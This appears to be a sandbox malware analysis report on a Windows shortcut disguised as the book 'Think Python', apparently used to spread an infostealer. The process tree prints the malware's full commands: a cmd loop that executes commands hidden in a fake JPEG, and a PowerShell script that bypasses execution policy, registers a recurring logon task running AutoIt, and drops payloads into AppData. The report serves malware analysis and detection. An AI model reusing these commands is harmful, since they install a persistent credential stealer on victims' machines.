Analysis
- max time kernel
147s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
13/06/2024, 01:22
General
- Target ExtractAll/A-Think Python How to Think Like a Computer Scientist, 3rd Edition (True PDF).lnk
- Size 2KB
- Sample240613-brbecasfjn
- SHA256 adcc446e1b1cd00d20c56b3dd654bef51128875a76b24903d18270b09b7da081
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 18 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ExtractAll\A-Think Python How to Think Like a Computer Scientist, 3rd Edition (True PDF).lnk"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c for /f "tokens=*" %i in ('dir /b MyCover4.jpg') do @for /f "delims=" %j in (%i) do @%j2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c dir /b MyCover4.jpg3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -noprofile -noninteractive -ExecutionPolicy Bypass sleep 2 ; try{$Lq546qzs = New-Object -ComObject Schedule.Service ; $Plqkjsd ="(Get-CimInstance -ClassName Win32_DiskDrive).Size | Measure-Object -Sum | Select-Object -ExpandProperty Sum"; $Lq546qzs.Connect() ; $MASK = $Lq546qzs.NewTask(0) ; $reginfo = $MASK.RegistrationInfo ;$reginfo.Description = '' ; $reginfo.Author = '' ; $iosdfiu5s = $MASK.Principal; $iosdfiu5s.LogonType = 3 ; $esf5s = $MASK.settings ; $esf5s.Enabled = $true ; $esf5s.StartWhenAvailable = $true ; $esf5s.Hidden = $false ; $esf5s.DisallowStartIfOnBatteries = $false ; $esf5s.StopIfGoingOnBatteries = $false ; $esf5s.MultipleInstances = 2 ; $esf5s.ExecutionTimeLimit = """PT0H""" ; $sqdf = $MASK.Triggers.Create(9); $sqdf.Enabled = $true; $sqdf.Id = """LogonTriggerId"""; $sqdf.Repetition.Interval = """PT5M"""; $sqdf.Repetition.StopAtDurationEnd = $false; $activationTime = (Get-Date).AddMinutes(3); $sqdf.StartBoundary = $activationTime.ToString('yyyy-MM-ddTHH:mm:ss'); $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent(); $sqdf.UserId = $currentUser.Name; $poqsdjkpoqj5qs5=$MASK.Triggers.Create(2) ; $poqsdjkpoqj5qs5.Enabled=$true ; $poqsdjkpoqj5qs5.Repetition.Interval="""PT10M""" ;$poqsdjkpoqj5qs5.Repetition.StopAtDurationEnd=$false ; $poqsdjkpoqj5qs5.Id="""DailyTriggerId""" ; $poqsdjkpoqj5qs5.StartBoundary = (Get-Date).AddMinutes(1).tostring('yyyy-MM-ddTHH:mm:ss'); $action_ = $MASK.Actions.Create(0) ; $action_.Path = '"""%appdata%\Microsoft\Windows\AutoIt3.exe"""' ; $action_.Arguments = '/ErrorStdOut """%appdata%\Microsoft\Windows\' + $Plqkjsd + '.au3""""'; $Lq546qzs.GetFolder("""\\""").RegisterTaskDefinition("""$Plqkjsd""", $MASK, 6 , $null, $null, 3) ;$Pllds = \"$env:APPDATA\Microsoft\Windows\"; Copy-Item MyCover2.jpeg \"$Pllds\$Plqkjsd.au3\"; Copy-Item MyCover3.jpeg \"$Pllds\AutoIt3.exe\" } Catch [System.Exception]{};"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\attrib.exeattrib -h -s /s /d3⤵
- Views/modifies file attributes
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exe /ErrorStdOut "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\274872407040.au3"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_gi3plumg.qps.ps1
274872407040.au3
AutoIt3.exe
memory/1616-39-0x000000000B090000-0x000000000B634000-memory.dmp
memory/1616-40-0x0000000009F40000-0x0000000009F5E000-memory.dmp
memory/1616-47-0x000000000D280000-0x000000000D7AC000-memory.dmp
memory/1616-46-0x000000000CB80000-0x000000000CD42000-memory.dmp
memory/1616-45-0x000000000AEF0000-0x000000000AF3C000-memory.dmp
memory/1616-44-0x000000000A330000-0x000000000A352000-memory.dmp
memory/1616-43-0x000000000A290000-0x000000000A2F6000-memory.dmp
memory/1616-42-0x000000000BA40000-0x000000000BD94000-memory.dmp
memory/1616-23-0x0000000008980000-0x0000000008FA8000-memory.dmp
memory/1616-33-0x0000000009D40000-0x0000000009D5A000-memory.dmp
memory/1616-34-0x0000000009DA0000-0x0000000009DD6000-memory.dmp
memory/1616-35-0x000000000A460000-0x000000000AADA000-memory.dmp
memory/1616-36-0x0000000009E80000-0x0000000009F16000-memory.dmp
memory/1616-37-0x0000000009E10000-0x0000000009E32000-memory.dmp
memory/1616-38-0x0000000009F90000-0x0000000009FF6000-memory.dmp
memory/1616-41-0x000000000A050000-0x000000000A09A000-memory.dmp
memory/3496-12-0x00007FFF669C0000-0x00007FFF67481000-memory.dmp
memory/3496-0-0x00007FFF669C3000-0x00007FFF669C5000-memory.dmp
memory/3496-1-0x0000021D4D340000-0x0000021D4D362000-memory.dmp
memory/3496-11-0x00007FFF669C0000-0x00007FFF67481000-memory.dmp
memory/3496-20-0x00007FFF669C0000-0x00007FFF67481000-memory.dmp
memory/3496-15-0x00007FFF669C0000-0x00007FFF67481000-memory.dmp
memory/3496-14-0x0000021D67A00000-0x0000021D67A24000-memory.dmp
memory/3496-13-0x0000021D67A00000-0x0000021D67A2A000-memory.dmp